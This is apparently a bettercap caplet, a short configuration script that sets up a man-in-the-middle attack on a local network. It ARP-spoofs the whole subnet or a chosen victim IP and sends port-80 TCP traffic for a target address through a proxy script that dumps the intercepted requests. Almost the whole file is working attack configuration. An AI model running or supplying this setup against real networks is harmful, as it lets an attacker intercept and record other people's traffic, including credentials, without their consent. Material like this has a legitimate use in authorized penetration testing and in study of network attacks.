# targeting the whole subnet by default, to make it selective: # # sudo ./bettercap -caplet tcp-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64" # to make it less verbose # events.stream off # we'll use this proxy script to dump requests set tcp.proxy.script tcp-req-dump.js set tcp.port 80 # example.com set tcp.address 93.184.216.34 set tcp.proxy.port 8080 clear # go ^_^ tcp.proxy on arp.spoof on